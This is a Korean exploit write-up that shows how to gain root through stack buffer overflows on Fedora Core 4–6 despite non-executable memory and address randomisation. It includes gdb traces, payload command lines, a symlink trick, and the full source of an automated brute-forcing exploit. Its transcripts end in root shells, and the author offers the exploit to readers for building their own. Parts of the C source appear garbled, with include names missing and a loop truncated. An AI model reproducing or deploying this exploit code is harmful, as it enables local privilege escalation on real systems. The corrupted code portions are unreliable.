------------------------------------------------------------------------------------------------------ 제목: Fedora Core 4,5,6 내에서 local 스택 기반 overflow exploit 방법 (Fedora Core 4,5,6 based local stack overflow exploit method) 부제: ret(pop %eip) 코드를 이용한 local 공격 기법 (얄미운 $esp 레지스터 조져보기) 테스트 환경: Fedora Core release 4 (Stentz) Linux 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 Fedora Core release 5 (Bordeaux) Linux 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 Fedora Core release 6 (Zod) Linux 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 작성자: 유동훈 - Xpl017Elz http://x82.inetcop.org ------------------------------------------------------------------------------------------------------ 목 차: 0x0. Fedora Core 4 system 간단 분석 0x1. exploit 해결 방안: ret(pop %eip) 코드 이용하기 0x2. real exploit 0x3. 끝 맺음 0x4. 별첨 코드 --------------------------------------------------------------------------------------------------- 0x0. Fedora Core 4 system 간단 분석 계속 시리즈 물로 Fedora Core system에 대해 분석한지도 어언 보름이 다 되어간다. Fedora Core 3 system을 한창 분석 중이던 찰나에 Fedora Core 4 system에 대한 소식을 접하게 되었고, 뒤늦게 설치 후, 분석하게 되었다. Fedora Core 3 system과 별다른 차이점이 없을 것만 같았던 내 예상은 적절히 빗나가고 말았다. 그럼 지금부터 Fedora Core 4 system이 어떻게 바뀌게 되었는지 간단하게 분석해보도록 하겠다. (1) 유추할 수 없게 되어버린 스택 주소 예전 Fedora Core 3 system에서는 프로그램을 자식 프로세스로 실행하면 부모 프로세스와 스택 주소가 동일하게 설정되는 현상을 종종 목격할 수 있다. 이를 통해 비교적 쉽게 random-stack을 유추할 수 있었다. 그러나 Fedora Core 4 system에서는 안타깝게도 스택 주소를 유추하기 힘들어졌다. 직접 테스트해본 결과, 부모 프로세스와 자식 프로세스의 스택이 동일하게 설정되는 경우가 단 한번도 없었기 때문이다. 안타깝게도 해커가 스택에 입력한 정보를 재활용할 수 있는 기회는 사라진 듯하다. -- 추 가 -- 재미있게도, 이 사항은 Fedora Core 4에서만 그런 것 같다. Fedora Core 5,6에서 시험해본바 부모와 자식 프로세스 스택이 동일하게 맵핑되는 경우가 종종 발생하는 것을 볼 수 있었다. -- (2) 실행이 불가능하게된 메모리 공간 Fedora Core 3 system 까지는 heap 메모리 공간을 이용하여 사용자가 입력한 코드를 실행할 수 있었다. (비록 stack은 nonexec 상태일지라도) 그래서 shellcode를 heap에 복사한 후, 실행이 가능했다. 하지만 업그레이드 된 Fedora Core 4 system에서는 사용자가 입력 가능한 모든 메모리 영역에 대해 nonexec 속성을 갖는다. 이로써 shellcode를 이용한 일반적인 exploit은 조만간 linux 상에서 사라질지도 모르겠다. (3) Return-to-Library 기법을 통한 명령어 실행 공격 차단 예전 Fedora Core 3 system에서는 함수 주소에 NULL을 포함하도록 16m 미만의 라이브러리 주소를 사용하여 여러 함수가 call 되는 행위를 방지하고 명령 인자가 함수 다음에 위치할 수 없도록 하였다. 그러나 $ebp 레지스터 조작을 통한 명령 인자 지정이 여전히 가능하기 때문에 shell을 실행할 수 있는 방법이 존재했었다. 그런데 안타깝게도 이번 Fedora Core 4 system에서는 이 방법마저도 차단당한 것 같다. 어떻게 이러한 차단이 가능한 것인지 간단히 분석해보겠다. --------------------------------------------------------------------------------------------------- Fedora Core 3 system() 함수: ... : mov 0x8(%ebp),%esi <---- $ebp + 0x08 위치의 내용을 참조. ... Fedora Core 4 system() 함수: ... : mov 0x10(%esp),%edi <--- $esp + 0x10 위치의 내용을 참조. ... --------------------------------------------------------------------------------------------------- 잘 살펴보면, Fedora Core 3 시스템에서는 system() 함수의 인자로 들어가는 명령어를 $ebp + 0x8 위치에서 읽어온다. 그렇기 때문에 stack overflow가 이루어진 상황에서는 해커가 $ebp 레지스터를 조작할 수 있으므로, 실행할 명령까지도 지정할 수 있었다. 그런데, Fedora Core 4 시스템의 system() 함수는 해커가 직접적으로 조작할 수 없는 위치에 있는 $esp 레지스터 위치를 참조하여 명령 인자를 읽어온다. (물론 $esp를 조작하는 방법도 있음) 이와 같이 기존에 시도됐던 system() 함수에 의한 Return-to-Library 공격을 차단할 수 있다. --------------------------------------------------------------------------------------------------- Fedora Core 3 execve() 함수: ... : mov 0xc(%ebp),%ecx <--- $ebp + 0x0c 위치에서 두 번째 인자 참조. ... : mov %edi,0x4(%esp) : mov 0x10(%ebp),%edx <-- $ebp + 0x10 위치에서 세 번째 인자 참조. : mov 0x8(%ebp),%edi <--- $ebp + 0x08 위치에서 첫 번째 인자 참조. : xchg %ebx,%edi : mov $0xb,%eax : call *%gs:0x10 ... Fedora Core 4 execve() 함수: ... : mov 0xc(%esp),%edi <--- $esp + 0x0c 위치에서 첫 번째 인자 참조. : mov 0x10(%esp),%ecx <-- $esp + 0x10 위치에서 두 번째 인자 참조. : mov 0x14(%esp),%edx <-- $esp + 0x14 위치에서 세 번째 인자 참조. : xchg %ebx,%edi : mov $0xb,%eax : call *%gs:0x10 ... --------------------------------------------------------------------------------------------------- execve() 함수 역시 마찬가지이다. 예전 시스템에서는 함수의 명령 인자를 $ebp + 0x8 위치에서 읽어왔으나, 이번 Fedora Core 4 시스템에서는 $esp 레지스터를 참조하여 얻어오도록 변경되었다. 이로써 해커는 실행 관련 함수의 명령 인자에 대한 접근 권한을 잃게 되었다. 이렇게 이전 시스템 보다 더 강력해진 nonexec-user-memory, random-stack, random-library 등의 다양한 보안 매커니즘을 제공하므로써, 기존 Fedora Core 3 system까지 시도되었던 대부분의 공격 기법들을 무력화 시켰다. 0x1. exploit 해결 방안: ret(pop %eip) 코드 이용하기 새롭게 달라진 local 시스템 상에서 root 권한을 획득할 수 있는 여러가지 overflow exploit 방법에 대해 생각해보도록 하자. 이 시스템에서는 shellcode를 이용한 방법을 사용할 수 없으므로, 아무래도 Return-to-Library 공격 기법을 이용해야 할 것 같다. 문제는 어떻게 $esp 레지스터를 조작하느냐가 관건이 되겠다. 우선 프로그램 내에서 $esp 레지스터의 흐름이 어떻게 되는지 생각해보자. main() 함수가 수행되고, 프롤로그 과정이 끝나게 되면, main() 함수 내의 지역 변수를 저장하기 위한 공간을 만든다. 이렇게 main() 함수 프레임은 베이스 포인터인 $ebp 레지스터 위치에서 main() 함수 내 지역 변수 공간을 뺀 $esp 레지스터를 stack pointer로 지정한다. main() 함수의 수행이 끝나는 시점에서 수행되는 leave 명령에 의해 $ebp 레지스터는 main() 함수 이전의 베이스 포인터를 복구하고, $esp 레지스터는 main() 함수 베이스 포인터 ($ebp 레지스터) + 4byte 위치로 이동된다. (그 이유는 mov %ebp,%esp 명령 후, pop %ebp 하기 때문) 이 과정을 그림으로 살펴보자. 예를 들어, $ebp가 1000이라면, 지역 변수의 크기가 300이라 할 때 main() 함수 프레임은 다음과 같은데, --------------------------------------------------------------------------------------------------- +-- 700 ---+ stack pointer ($esp) | | | 300 | main() frame 수행 중. | | +-- 1000 ---+ base frame pointer ($ebp) leave 수행 후, 다음과 같이 된다. +-- 1004 ---+ stack pointer ($esp) (원래 1004 위치에는 이전 frame을 가리키는 return address가 있음) | | | ... | main() frame에서 이전 함수 frame으로 복귀하기 직전. | | +-- 2000 ---+ 복구된 이전 base frame pointer ($ebp) 여기서 ret 명령을 수행하면, +-- 1008 ---+ stack pointer ($esp) | | | ... | 이전 함수 frame으로 복귀 완료. | | +-- 2000 ---+ base frame pointer ($ebp) --------------------------------------------------------------------------------------------------- 이렇게 leave 명령을 실행 함과 동시에 $esp 레지스터의 값은 우리가 조작한 $ebp + 4의 위치로 오게 된다. (결론은 그렇다) 그렇기 때문에 우리가 만약 $ebp 레지스터를 조작한 후, return address를 leave 명령이 있는 위치로 지정할 경우, 해당 명령 실행에 의해 $esp 레지스터의 위치는 우리가 조작한 $ebp + 4 주소로 설정할 수 있게 된다. 그러나, 이 방법에는 해결하기 어려운 치명적인 문제점이 존재한다. leave 명령을 통해 우리가 원하는 주소로 $esp 레지스터를 설정한다고 해도 random-stack 때문에 우리가 원하는 위치로 지정하기 힘들고 결정적으로, 조작된 $esp 레지스터 위치에 있는 주소 값이 return address로 실행되기 때문에 원하는 코드 값을 입력해 넣지 못하면, segfault 결과를 얻게 된다. 또한, 일반적인 stack 기반 overflow 공격은 사용자가 입력할 수 있는 공간이 random 속성을 가진 stack에 한정되어 있고, NULL을 포함하는 random한 library 함수 주소를 우리가 조작한 $esp 레지스터 위치에 입력해 넣기 어렵기 때문에 (명령어 인자를 지정하는 문제를 떠나서) 이 방법으론 원하는 Return-to-Library 공격을 시도하기 어려울 것으로 판단된다. 그럼, 이번엔 다른 방법을 생각해보도록 하자. $esp 레지스터의 위치를 조작할 수 있는 방법에 대해서 곰곰히 생각하던 중, 묘안 한가지가 떠오르게 되었다. 그것은 바로, ret code나 nop code를 이용하는 방법이다. 만약 return address를 ret, nop code가 있는 위치로 변경하면 어떠한 일이 발생할까? $ebp 레지스터의 위치와는 전혀 상관없이 code는 $esp 레지스터의 위치에 있는 return address를 참조하여 이전 frame으로 복귀를 시도한다. 여기서 $esp 레지스터 값은 4byte 만큼 이동되는데 그 이유는 return address를 pop 하여 (pop %eip) 복귀하기 때문이다. 이렇게 이동된 $esp 레지스터는 이전 frame의 stack pointer의 위치가 된다. 결과적으로, 원래 return address 위치에서 ret, nop code를 수행하면 $esp가 4byte 이동되기 때문에 매우 편리하게 $esp 레지스터의 위치를 조작할 수 있게 된다. ret, nop code 수행 후, 돌아온 다음 code(return address +4)는 또 다시 복귀를 시도한다. 만약 현재 정상적인 return address의 위치가 10에 있을 때, ret, nop code를 수행하면, --------------------------------------------------------------------------------------------------- |<- 스택이 커지는 방향 주소가 커지는 방향 ->| ... 10 14 18 22 (return address가 4byte씩 뒤로 이동) |...--------------------------|------|------|------|-----------------------------...| [ret] [nop] [nop] [XXXX] | ^ | ^ | ^ | | | | | | +----+ +----+ +-----+ ($esp 레지스터가 4byte씩 이동) $esp+4 $esp+4 $esp+4 (pop 명령에 의해 계속 스택이 줄어듬) --------------------------------------------------------------------------------------------------- 위와 같이 $esp 레지스터는 4byte씩 이동된다. 이제 우리는 원하는 명령 인자 위치가 나올 때까지 $esp 레지스터를 이동시키기만 하면 된다. 이러한 이동 작업을 통해, 실행 관련 함수의 인자로 적절한 값이 나올 때까지 stack을 탐색하여 실행할 수 있다. 예를 들어, execve() 함수의 경우, 총 세 개의 인자를 필요로 하는데, 첫 번째 인자 값이 실행할 수 있을 만한 고정값을 가지고 있으면서, 두~세 번째 인자의 조건을 만족하는 그런 값을 찾아주면 된다. 탐색 결과, stack에서 execve() 함수 인자로 만족하는 값들을 찾을 수 있었다. :-} --------------------------------------------------------------------------------------------------- exploit 실행 후 stack의 구조: [<- 스택이 커지는 방향 주소가 커지는 방향 ->] [buffer][ebp][ret][ buffer ] [XXXXXXXX...][nop][nop][nop][nop][nop][execve()'s addr][XXXX][XXXX][arg1][arg2][arg3] ^ ^ ^ ^ ^ +-----------------------> | | | | (flow) +--- now $esp | | | $esp+0xc | | $esp+0x10 | $esp+0x14 --------------------------------------------------------------------------------------------------- 위의 구조대로 stack이 구성된다면, 성공적으로 명령 인자를 실행할 수 있다. 이로써, stack pointer를 임의로 이동시킬 수 있는 중요한 방법을 배웠다. 이번 exploit 시험에서는 execve() 함수를 기준으로 설명할 것이다. 공격 원리를 파악하고 나면, 앞으로는 매우 쉽게 exec* 계열 함수를 통해 exploit을 시도해볼 수 있을 것이다. 0x2. real exploit 그럼, 실제 exploit을 적용해보도록 하겠다. execve() 함수를 통해 명령어를 실행하기로 결정하였다. 우선, execve() 함수의 위치를 얻어야 하는데, library 주소가 계속 random 하게 변하므로, 다음과 같이 execve() 함수 주소를 얻어놓을 수 있다. -- [root@localhost tmp]# cat strcpy.c int main(int argc,char *argv[]) { char buf[8]; strcpy(buf,argv[1]); } [root@localhost tmp]# gcc -o strcpy strcpy.c [root@localhost tmp]# ldd strcpy linux-gate.so.1 => (0x00f3c000) libc.so.6 => /lib/libc.so.6 (0x00111000) <--- random 한 라이브러리 주소 /lib/ld-linux.so.2 (0x006c9000) [root@localhost tmp]# objdump -T /lib/libc.so.6 | grep -w execve 0008d1ac w DF .text 00000049 GLIBC_2.0 execve [root@localhost tmp]# -- 라이브러리 주소를 얻은 후, libc.so.6 파일 내의 execve() 함수 위치를 얻는다. 이 두 값을 더한 주소에 execve() 함수가 놓여지게 되는데, 계속 random 하게 변하므로, 얻어놓은 주소에 execve() 함수가 다시 위치할 때까지 여러번 반복하여 공격을 수행해주면 random library 실행 문제를 해결할 수 있게 된다. 그럼, ret 명령 code의 위치를 얻은 후, 실질적인 공격을 시도해보도록 하자. -- [root@localhost tmp]# objdump -d strcpy | grep ret 8048296: c3 ret 804831f: c3 ret 8048351: c3 ret 804837a: c3 ret 80483b1: c3 ret 80483eb: c3 ret 8048402: c3 ret 8048408: c3 ret 8048430: c3 ret 804844d: c3 ret [root@localhost tmp]# -- 내가 시험하는 Fedora Core 4 system의 경우, ret, nop code를 9번 정도 호출해 본 결과, execve() 함수의 인자로 쓰일 고정된 첫 번째 인자 값과 두~세 번째 인자 값의 조건을 만족하는 적합한 위치를 찾을 수 있었다. main() 함수가 아닌 다른 함수에서 발생하는 overflow 공격일지라도 ret, nop code를 여러번 호출하여 적당한 위치를 검색해본 결과, 비교적 쉽게 공격을 성공시킬 수 있었다. -- [root@localhost tmp]# gdb -q strcpy (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". ... (gdb) br execve Breakpoint 1 at 0x19e1ac (gdb) r 000011112222`printf "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x9 6\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\xac\xe1\x19\x00"` The program being debugged has been started already. Start it from the beginning? (y or n) y warning: cannot close "shared object read from target memory": File in wrong format Starting program: /var/tmp/strcpy 000011112222`printf "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\ x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\ x04\x08\xac\xe1\x19\x00"` Reading symbols from shared object read from target memory...(no debugging symbols found)...done. Loaded system supplied DSO at 0x3ad000 (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x0019e1ac in execve () from /lib/libc.so.6 (gdb) disass execve Dump of assembler code for function execve: 0x0019e1ac : push %edi 0x0019e1ad : push %ebx 0x0019e1ae : call 0x125c60 <__i686.get_pc_thunk.bx> 0x0019e1b3 : add $0x98e41,%ebx 0x0019e1b9 : mov 0xc(%esp),%edi <--- 이 부분에 break를 걸고 $esp 위치를 검사해보면... 0x0019e1bd : mov 0x10(%esp),%ecx 0x0019e1c1 : mov 0x14(%esp),%edx 0x0019e1c5 : xchg %ebx,%edi 0x0019e1c7 : mov $0xb,%eax 0x0019e1cc : call *%gs:0x10 0x0019e1d3 : xchg %edi,%ebx 0x0019e1d5 : mov %eax,%edx 0x0019e1d7 : cmp $0xfffff000,%edx 0x0019e1dd : ja 0x19e1e2 0x0019e1df : pop %ebx 0x0019e1e0 : pop %edi 0x0019e1e1 : ret 0x0019e1e2 : neg %edx 0x0019e1e4 : mov 0xffffff1c(%ebx),%eax 0x0019e1ea : mov %edx,%gs:(%eax) 0x0019e1ed : mov $0xffffffff,%eax 0x0019e1f2 : pop %ebx ---Type to continue, or q to quit---q Quit (gdb) br *execve+13 Breakpoint 2 at 0x19e1b9 (gdb) c Continuing. Breakpoint 2, 0x0019e1b9 in execve () from /lib/libc.so.6 (gdb) x/x $esp+0x0c 0xbf8b42b8: 0x080483b4 <--- execve() 함수의 첫 번째 인자 위치 ($esp + 0x0c) (gdb) 0xbf8b42bc: 0xbf8b42e8 <--- execve() 함수의 두 번째 인자 위치 ($esp + 0x10) (gdb) 0xbf8b42c0: 0xbf8b4290 <--- execve() 함수의 세 번째 인자 위치 ($esp + 0x14) (gdb) x 0x080483b4 0x80483b4 <__libc_csu_init>: 0x57e58955 (gdb) 0x80483b8 <__libc_csu_init+4>: 0xec835356 (gdb) 0x80483bc <__libc_csu_init+8>: 0x0000e80c (gdb) x 0xbf8b42e8 0xbf8b42e8: 0x00000000 (gdb) x 0xbf8b4290 0xbf8b4290: 0x08048296 (gdb) 0xbf8b4294: 0x08048296 (gdb) 0xbf8b4298: 0x08048296 (gdb) -- 각 인자로 쓰일 적절한 위치를 찾기 위해 ret, nop 명령 code를 통해 원래 주소로 부터 $esp를 4byte씩 9번 이동시킨 결과 __libc_csu_init() 함수 코드를 명령어로 실행할 수 있는 가능성을 발견하게 되었다. 이 위치에 적재된 주소 값들은 main() 함수 이전에 stack에 저장된 내용이다. 그러면, 명령으로 실행할 위치의 값까지 얻었으니, symlink를 통해 우리가 권한 상승를 위해 실행하고자 하는 프로그램과 연결시켜준 후, 실행하면 된다. -- [root@localhost tmp]# su x82 [x82@localhost tmp]$ ls -al strcpy -rwsr-xr-x 1 root root 4678 Jan 11 22:19 strcpy [x82@localhost tmp]$ cat sh.c int main() { setuid(0); setgid(0); system("/bin/sh"); } [x82@localhost tmp]$ gcc -o sh sh.c [x82@localhost tmp]$ ln -s sh `printf "\x55\x89\xe5\x57\x56\x53\x83\xec\x0c\xe8"` (__libc_csu_init()'s code) [x82@localhost tmp]$ while [ 1 ] ; do ./strcpy 000011112222`printf "\x96\x82\x04\x08\x96\x82\x04 \x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04 \x08\x96\x82\x04\x08\xac\xe1\x19\x00"`; done Segmentation fault Segmentation fault Segmentation fault Segmentation fault sh-3.00# id uid=0(root) gid=0(root) groups=500(x82) sh-3.00# -- 역시, 예상대로 shell을 실행할 수 있었다. :-) 그 밖에 scanf(), strcpy(), gets(), sprintf() 등의 버퍼 오버플로우에 취약한 함수들을 테스트를 해본 결과, 모두 훌륭하게 shell을 실행하는 것을 확인할 수 있었다. 0x3. 끝 맺음 새로워진 Fedora Core 4 system의 local 상에서 권한을 얻는 stack overflow 공격을 시도하여 성공해보았다. (Fedora Core 5,6 시스템에서 시험해본 결과 동일하게 shell을 실행할 수 있었음) 이와 같이 보안이 강화된 nonexec-user-memory, random-stack, random-library 환경일지라도 충분히 공격이 가능하다는 사실을 알 수 있다. 이 문서를 내용을 통해 여러분들도 자신만의 exploit 개발에 도움이 되었길 바란다. 별첨 코드 란에는 Fedora core 4 local 환경에서 자동으로 overflow 공격을 시도하는 exploit 코드를 첨부하였으니 설명서와 함께 참고하길 바란다. 0x4. 별첨 코드 -- vuln.c -- int main(int argc,char *argv[]) { char buf[256]; strcpy(buf,argv[1]); return 0; } -- -- 0x82-break_FC4.c -- /* ** ** Code name: 0x82-break_FC4.c ** Description: Fedora Core Linux 4 based stack overflow exploit (POC-local) ** -- ** ** This succeeds in attack in random library environment. ** It can execute shell easily through magic return address. ** ** It executes execve() function through __libc_csu_init()'s some area. ** When it's put to '$esp+0xc', our exploit can succeed. ** ** -- ** exploit by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.inetcop.org ** */ #include #include #include #include #include #include #define GDB "/usr/bin/gdb" #define LDD "/usr/bin/ldd" #define GCC "/usr/bin/gcc" #define GREP "/bin/grep" #define OBJDUMP "/usr/bin/objdump" #define AWK "/bin/awk" #define SED "/bin/sed" #define HEAD "/usr/bin/head" #define MAGIC_LIB_ADDR (0x00111000+0x0008d1ac) /* It's my system magic address */ void safe_exit(); int banrl(); unsigned long __get_random_library(char *p); unsigned long __get_random_library_gdb_version(char *p); unsigned long __get_ret_command(char *p); int make_sh_link(char *p); char link_buf[256]; void safe_exit() { unlink(link_buf); unlink("gdb-script"); fprintf(stdout," [*] Ok, exploit end.\n\n"); exit(-1); } int banrl() { fprintf(stdout,"\n 0x82-break_FC4 - Fedora Core Linux 4 based stack overflow exploit (POC-local)\n\n"); } int main(int argc,char *argv[]) { struct stat tg_st; pid_t pid; unsigned char atk_buf[0xffff]; unsigned long __execve_addr_gdb_type=0; unsigned long __execve_addr=0; unsigned long __ret_code=0; int i=0,j=0; signal(SIGINT,safe_exit); signal(SIGTSTP,safe_exit); (int)banrl(); if(argc<5) { fprintf(stdout," Usage: --\n %s [program path] [buffer size] [brute-force count] [ret count]\n",argv[0]); fprintf(stdout," Ex> %s ./strcpy 8 30 9\n --\n\n",argv[0]); exit(-1); } fprintf(stdout," [+] get target program information.\n"); if(stat(argv[1],&tg_st)!=0) { fprintf(stderr," [-] %s: target program error.\n\n",argv[1]); exit(-1); } #define CHK_BIT(m,S) (((m)&S)==S) if(CHK_BIT(tg_st.st_mode,S_ISUID)||CHK_BIT(tg_st.st_mode,S_ISGID)) { fprintf(stdout," [*] OK, It's setuid or, setgid program.\n"); } else { fprintf(stderr," [-] %s: It's not setuid or setgid program.\n\n",argv[1]); exit(-1); } fprintf(stdout," [+] get execve() address.\n"); memset((u_char *)atk_buf,0,sizeof(atk_buf)); __execve_addr=__get_random_library(argv[1]); __execve_addr_gdb_type=__get_random_library_gdb_version(argv[1]); fprintf(stdout," [+] normal user library execve() address: %p\n",__execve_addr); fprintf(stdout," [+] set user id library execve() address: %p\n",__execve_addr_gdb_type); __execve_addr=(MAGIC_LIB_ADDR); fprintf(stdout," [*] magic library execve() address: %p\n",__execve_addr); fprintf(stdout," [+] get ret code address.\n"); __ret_code=__get_ret_command(argv[1]); fprintf(stdout," [+] ret code address: %p\n",__ret_code); fprintf(stdout," [+] ret code count: %d\n",atoi(argv[4])); make_sh_link(argv[1]); fprintf(stdout," [+] make exploit code.\n"); for(i=0;i:/,/^08/p' | " "%s -F\"\\t\" {'print $2'}",OBJDUMP,p,SED,AWK); if((fp=(FILE *)popen(link_buf,"r"))==NULL) { fprintf(stderr," [-] popen() error\n"); exit(-1); } memset((char *)link_buf,0,sizeof(link_buf)); while(fread(&i,1,1,fp)) { if(i==0x0a||i==0x20) { if(strlen(s)<2) { continue; } snprintf(s,sizeof(s)-1,"0x%c%c",s[0],s[1]); link_buf[k++]=strtoul(s,0,0); memset((char *)s,0,sizeof(s)); j=0; } else { s[j++]=i; } } pclose(fp); strncpy(srcname,link_buf,sizeof(srcname)-1); strcat(srcname,".c"); fprintf(stdout," [+] make shell code.\n"); if((fp=fopen(srcname,"w"))==NULL) { fprintf(stderr," [-] fopen() error\n"); exit(-1); } fprintf(fp,"int main() {\n"); fprintf(fp,"\tsetreuid(geteuid(),geteuid());\n"); fprintf(fp,"\tsetregid(getegid(),getegid());\n"); fprintf(fp,"\tsystem(\"/bin/sh\");\n"); fprintf(fp,"}\n"); fclose(fp); snprintf(gcc_buf,sizeof(gcc_buf)-1,"%s -o %s %s",GCC,link_buf,srcname); system(gcc_buf); unlink(srcname); } unsigned long __get_random_library_gdb_version(char *p) { char buf[256]; FILE *fp; long execve_addr=0; memset((char *)buf,0,sizeof(buf)); if((fp=fopen("gdb-script","w"))==NULL) { fprintf(stderr," [-] fopen error\n"); exit(-1); } fprintf(fp,"r x0x\nx execve\n"); fclose(fp); snprintf(buf,sizeof(buf)-1, "%s %s -batch -x gdb-script | %s -w execve | %s -F\" \" {'print $1'}",GDB,p,GREP,AWK); if((fp=(FILE *)popen(buf,"r"))==NULL) { fprintf(stderr," [-] popen() error\n"); exit(-1); } memset((char *)buf,0,sizeof(buf)); fgets(buf,sizeof(buf),fp); pclose(fp); execve_addr=strtoul(buf,0,0); return execve_addr; } /* eoc */ -- * 설명서 [주의] 성공적인 시험을 하기 위해선 반드시 공격 대상 프로그램에 setuid를 설정해야 한다. (root가 아니어도 상관없음) 이 exploit code는 argv[1] 인자 값에 의해 main() 함수 내에서 발생하는 일반적인 버퍼 오버플로우 취약점을 공격하는 Proof-of-Concept code 인데, 사용법은 매우 간단하다. -- 사용 예제: ./0x82-break_FC4 [공격 대상 프로그램] [버퍼 크기] [공격 대입 횟수] [ret 코드 실행 횟수] -- 위의 예제에서 공격 대상 프로그램은 strcpy 프로그램이며, 버퍼의 크기는 256이다. 공격 대입 횟수를 지정해주는 이유는 random library를 exploit 하기 위해서이다. exploit 자체 내에서 라이브러리를 통해 얻은 execve() 함수 주소와 실제 프로그램의 execve() 함수 주소가 매칭될 때까지 공격 대입 횟수만큼 반복하여 공격을 시도한다. 앞서 설명했듯이 나의 시스템에서는 ret 코드를 총 9번 사용하여 $esp를 이동시켜 성공할 수 있었다. (ret 코드 실행 횟수 옵션을 통해 또 다른 brute-force script exploit을 작성할 수도 있을 것이다.) 다음은 공격을 시도한 결과이다. -- [x82@localhost tmp]$ cat strcpy.c int main(int argc,char *argv[]) { char buf[256]; strcpy(buf,argv[1]); return 0; } [x82@localhost tmp]$ gcc -o 0x82-break_FC4 0x82-break_FC4.c [x82@localhost tmp]$ ./0x82-break_FC4 ./strcpy 256 30 9 0x82-break_FC4 - Fedora Core Linux 4 based stack overflow exploit (POC-local) [+] get target program information. [*] OK, It's setuid or, setgid program. [+] get execve() address. [+] normal user library execve() address: 0x2061ac [+] set user id library execve() address: 0xc371ac [*] magic library execve() address: 0x19e1ac [+] get ret code address. [+] ret code address: 0x8048296 [+] ret code count: 9 [+] get __libc_csu_init() address. [+] make shell code. [+] make exploit code. [+] exploit size: 299 [+] Brute-Force count: 30 [00] Brute-force library addr. [01] Brute-force library addr. [02] Brute-force library addr. [03] Brute-force library addr. [04] Brute-force library addr. sh-3.00# id uid=0(root) gid=500(x82) groups=500(x82) sh-3.00# -- 30번을 대입하도록 지정했는데, 다섯 번째 공격 중간에 shell이 실행된 것을 볼 수 있다. 시스템에 따라 shell이 실행되는 횟수가 틀리며, execve() 함수의 주소가 일치하는 횟수만큼 shell이 실행될 것이다. (단 한 번에 shell이 실행되는 경우도 종종 있음.) 문서에서는 자세히 설명 안하고 있지만, -fomit-frame-pointer 컴파일 모드로 최적화된 프로그램을 공격하는 방법 또한 같다. 다만, -fomit-frame-pointer 옵션에 의해 $ebp 레지스터가 제거되었을 경우에는 공격 exploit을 컴파일 할때 다음과 같은 옵션을 붙여 컴파일 해주길 바란다. -- $ gcc -o 0x82-break_FC4 0x82-break_FC4.c -DFOMIT_FRAME_POINTER -- 단지 이 옵션을 붙여 컴파일 해줌으로써, $ebp 레지스터에 덮어씌우는 코드를 생략하여 exploit에 성공할 수 있다. (참고로, 이미 설명했던 바와 같이 이 exploit 방법은 $ebp 레지스터와 전혀 상관없이 이루어진다.) 다음은 frame pointer가 없는 x() 함수 내의 overflow 취약점을 exploit 한 결과이다. -- [root@localhost tmp]# cat int_x.c #include int main(int argc,char *argv[]) { x(argv[1]); } int x(char *p) { char buf[8]; strcpy(buf,p); return 0; } [root@localhost tmp]# gcc -o int_x int_x.c -fomit-frame-pointer [root@localhost tmp]# chmod 4755 int_x [root@localhost tmp]# su x82 [x82@localhost tmp]$ gcc -o 0x82-break_FC4 0x82-break_FC4.c -DFOMIT_FRAME_POINTER [x82@localhost tmp]$ ./0x82-break_FC4 ./int_x 8 30 21 0x82-break_FC4 - Fedora Core Linux 4 based stack overflow exploit (POC-local) [+] get target program information. [*] OK, It's setuid or, setgid program. [+] get execve() address. [+] normal user library execve() address: 0xee91ac [+] set user id library execve() address: 0x19e1ac [*] magic library execve() address: 0x19e1ac [+] get ret code address. [+] ret code address: 0x8048296 [+] ret code count: 21 [+] get __libc_csu_init() address. [+] make shell code. [+] make exploit code. [+] target program is -formit-frame-pointer compile mode. [+] exploit size: 95 [+] Brute-Force count: 30 [00] Brute-force library addr. [01] Brute-force library addr. [02] Brute-force library addr. [03] Brute-force library addr. sh-3.00# id uid=0(root) gid=500(x82) groups=500(x82) sh-3.00# -- --- 나중에 추가된 *중요한* 내용 --- exploit을 시도하던 중, 재미있는 사실을 한 가지 발견하였다. 프로그램의 라이브러리 주소에 관련된 것인데... exploit 공격 code를 보면, execve 라이브러리 주소를 찾는 부분이 있다. 라이브러리 주소가 랜덤이기 때문에 주소가 계속 변경되는 것을 확인할 수 있는데, 랜덤하게 계속 변경되는 라이브러리 함수의 주소 중 동일한 주소로 수행되는 확률이 가장 높은 특정 라이브러리 함수 주소가 존재한다는 사실이다. 그래서, 나의 exploit code에서는 이 주소를 magic library address라 칭하고 있다. 이 magic library address를 사용하면, 지루한 brute-force 과정을 최대한 줄이고 shell을 실행할 수 있게 된다. (필자의 시스템에 최적화된 exploit code에서는 0x19e1ac 주소를 magic library address로 사용하고 있음) kernel 버전이 다른 두 대의 Fedora Core 4 system에서 실행해본 결과, 내가 생각하고 있는 magic library address를 통해 공격을 보다 쉽게 성공할 수 있었다. :-} --